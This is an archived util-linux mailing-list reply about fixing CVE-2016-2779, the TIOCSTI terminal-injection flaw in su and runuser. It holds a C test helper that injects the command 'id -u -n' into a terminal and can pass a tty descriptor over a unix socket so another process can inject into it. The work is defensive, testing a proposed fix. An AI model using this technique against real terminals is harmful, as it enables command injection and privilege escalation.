Re: Fixing su + runuser vulnerability CVE-2016-2779

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Mon, Oct 03, 2016 at 12:28:30PM +0200, Karel Zak wrote:
> On Sun, Oct 02, 2016 at 03:16:00PM +0200, Florian Weimer wrote:
> > * Karel Zak:
> > 
> > > I have applied patch based on libseccomp syscall filter:
> > >
> > >    https://github.com/karelzak/util-linux/commit/8e4925016875c6a4f2ab4f833ba66f0fc57396a2
> > >
> > > it works as expected, but IMHO it's workaround for our stupid kernel...
> > 
> > How does this work?
> > 
> > Isn't it possible to pass the descriptor to another, unrestricted
> > process (perhaps spawned from cron) and then run the ioctl from there?
> 
>  Good point, I don't know. The question is how secure is TIOCSTI

 I have tried to send tty FD to another process by unix socket and the 
 ioctl result is EPERM. See the test_tiocsti below. It seems only root
 can do it (try suid the test program).

 session A:
    ./test_tiocsti --receive
 session B:
    runuser -u kzak -- ./test_tiocsti --send

>  The ioctl should be fired in the hell... :-)

 This is still true.

    Karel


diff --git a/tests/helpers/test_tiocsti.c b/tests/helpers/test_tiocsti.c
index c269dc0..5450b64 100644
--- a/tests/helpers/test_tiocsti.c
+++ b/tests/helpers/test_tiocsti.c
@@ -18,10 +18,213 @@
  */
 
 #include <sys/ioctl.h>
+#include <err.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <getopt.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <sys/un.h>
 
-int main(void)
+#include "c.h"
+
+#define SOCKET_NAME "/tmp/TIOCSTI.socket"
+int connection_socket, data_socket;
+
+
+static void do_tiocsti(int fd, const char *cmd)
+{
+	printf("writing \"%s\" to file descriptor %d\n", cmd, fd);
+	while (*cmd) {
+		if (ioctl(fd, TIOCSTI, cmd++) < 0)
+			err(EXIT_FAILURE, "ioctl failed");
+	}
+}
+
+static int receive_tty_fd(void)
 {
-  char *cmd = "id -u -n\n";
-  while(*cmd)
-   ioctl(0, TIOCSTI, cmd++);
+	int fd;
+	struct sockaddr_un name;
+	struct msghdr msg;
+	struct iovec iov[1];
+	struct cmsghdr  *cmptr;
+	char buf[BUFSIZ];
+	ssize_t n;
+	union {
+		struct cmsghdr cm;
+		char control[CMSG_SPACE(sizeof(int))];
+	} control_un;
+
+	unlink(SOCKET_NAME);
+
+	connection_socket = socket(AF_UNIX, SOCK_SEQPACKET, 0);
+	if (connection_socket < 0)
+		err(EXIT_FAILURE, "socked failed");
+
+	memset(&name, 0, sizeof(struct sockaddr_un));
+	name.sun_family = AF_UNIX;
+	strncpy(name.sun_path, SOCKET_NAME, sizeof(name.sun_path) - 1);
+
+	if (bind(connection_socket, (const struct sockaddr *) &name,
+			sizeof(struct sockaddr_un)) < 0)
+		err(EXIT_FAILURE, "bind failed");
+
+	if (listen(connection_socket, 20) < 0)
+		err(EXIT_FAILURE, "listen failed");
+
+	data_socket = accept(connection_socket, NULL, NULL);
+	if (data_socket < 0)
+		err(EXIT_FAILURE, "accept failed");
+
+	msg.msg_control = control_un.control;
+	msg.msg_controllen = sizeof(control_un.control);
+	msg.msg_name = NULL;
+	msg.msg_namelen = 0;
+
+	iov[0].iov_base = buf;
+	iov[0].iov_len = sizeof(buf);
+	msg.msg_iov = iov;
+	msg.msg_iovlen = 1;
+
+	if ((n = recvmsg(data_socket, &msg, 0)) <= 0)
+		err(EXIT_FAILURE, "receive fd failed");
+
+	cmptr = CMSG_FIRSTHDR(&msg);
+
+	if (cmptr && cmptr->cmsg_len == CMSG_LEN(sizeof(int))) {
+
+		if (cmptr->cmsg_level != SOL_SOCKET)
+			err(EXIT_FAILURE, "control level != SOL_SOCKET");
+		if (cmptr->cmsg_type != SCM_RIGHTS)
+			err(EXIT_FAILURE, "control type != SCM_RIGHTS");
+		memcpy(&fd, CMSG_DATA(cmptr), sizeof(int));
+	} else
+		err(EXIT_FAILURE, "failed to parse message");
+
+	return fd;
+}
+
+static void send_tty_fd(int fd)
+{
+	struct sockaddr_un addr;
+	char buf[BUFSIZ];
+	struct msghdr   msg;
+	struct iovec    iov[1];
+	union {
+		struct cmsghdr    cm;
+		char              control[CMSG_SPACE(sizeof(int))];
+	} control_un;
+	struct cmsghdr  *cmptr;
+
+
+	data_socket = socket(AF_UNIX, SOCK_SEQPACKET, 0);
+	if (data_socket < 0)
+		err(EXIT_FAILURE, "socked failed");
+
+	memset(&addr, 0, sizeof(struct sockaddr_un));
+
+	addr.sun_family = AF_UNIX;
+	strncpy(addr.sun_path, SOCKET_NAME, sizeof(addr.sun_path) - 1);
+
+	if (connect(data_socket, (const struct sockaddr *) &addr,
+			sizeof(struct sockaddr_un)) < 0)
+		err(EXIT_FAILURE, "connect failed");
+
+	msg.msg_control = control_un.control;
+	msg.msg_controllen = sizeof(control_un.control);
+
+	cmptr = CMSG_FIRSTHDR(&msg);
+	cmptr->cmsg_len = CMSG_LEN(sizeof(int));
+	cmptr->cmsg_level = SOL_SOCKET;
+	cmptr->cmsg_type = SCM_RIGHTS;
+	memcpy(CMSG_DATA(cmptr), &fd, sizeof(int));
+
+	msg.msg_name = NULL;
+	msg.msg_namelen = 0;
+
+	iov[0].iov_base = buf;
+	iov[0].iov_len = sizeof(buf);
+	msg.msg_iov = iov;
+	msg.msg_iovlen = 1;
+
+	if (sendmsg(data_socket, &msg, 0) < 0)
+		err(EXIT_FAILURE, "sendmsg failed");
+}
+
+static void __attribute__((__noreturn__)) help(FILE *out)
+{
+	fprintf(out, " %s [options]\n", program_invocation_short_name);
+	fputs(" -t, --tty <path>   do TIOCSTI on the tty\n", out);
+	fputs(" -h, --help         this help\n", out);
+	fputs(" -r, --receive      listen and then do TIOCSTI on foreign FD\n", out);
+	fputs(" -s, --send         send tty FD\n", out);
+
+	exit(out == stderr ? EXIT_FAILURE : EXIT_SUCCESS);
+}
+
+enum {
+	ACT_DOIT,
+	ACT_SEND,
+	ACT_RECEIVE
+};
+
+int main(int argc, char *argv[])
+{
+	const char *ttyname = NULL;
+	int c, fd = 0, act = ACT_DOIT;
+	const char *cmd = "id -u -n\n";
+
+	static const struct option longopts[] = {
+		{ "tty",	1, 0, 't' },
+		{ "help",       0, 0, 'h' },
+		{ "receive",    0, 0, 'r' },
+		{ "send",       0, 0, 's' },
+		{ NULL, 0, 0, 0 },
+	};
+
+	while ((c = getopt_long(argc, argv, "rst:h", longopts, NULL)) != -1) {
+		switch(c) {
+		case 'r':
+			act = ACT_RECEIVE;
+			break;
+		case 's':
+			act = ACT_SEND;
+			break;
+		case 't':
+			ttyname = optarg;
+			break;
+		case 'h':
+			help(stdout);
+			break;
+		default:
+			help(stderr);
+		}
+	}
+
+
+	switch (act) {
+	case ACT_RECEIVE:
+		fd = receive_tty_fd();
+		do_tiocsti(fd, cmd);
+		close(data_socket);
+		close(connection_socket);
+		break;
+	case ACT_SEND:
+		send_tty_fd(0);
+		sleep(20);
+		break;
+	case ACT_DOIT:
+		if (ttyname) {
+			fd = open(ttyname, O_RDWR);
+			if (fd < 0)
+				err(EXIT_FAILURE, "%s: open failed", ttyname);
+		}
+		do_tiocsti(fd, cmd);
+		break;
+	}
+
+	return EXIT_SUCCESS;
 }
--
To unsubscribe from this list: send the line "unsubscribe util-linux" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at  http://vger.kernel.org/majordomo-info.html



[Index of Archives]     [Netdev]     [Ethernet Bridging]     [Linux Wireless]     [Kernel Newbies]     [Security]     [Linux for Hams]     [Netfilter]     [Bugtraq]     [Yosemite News]     [MIPS Linux]     [ARM Linux]     [Linux RAID]     [Linux Admin]     [Samba]

  Powered by Linux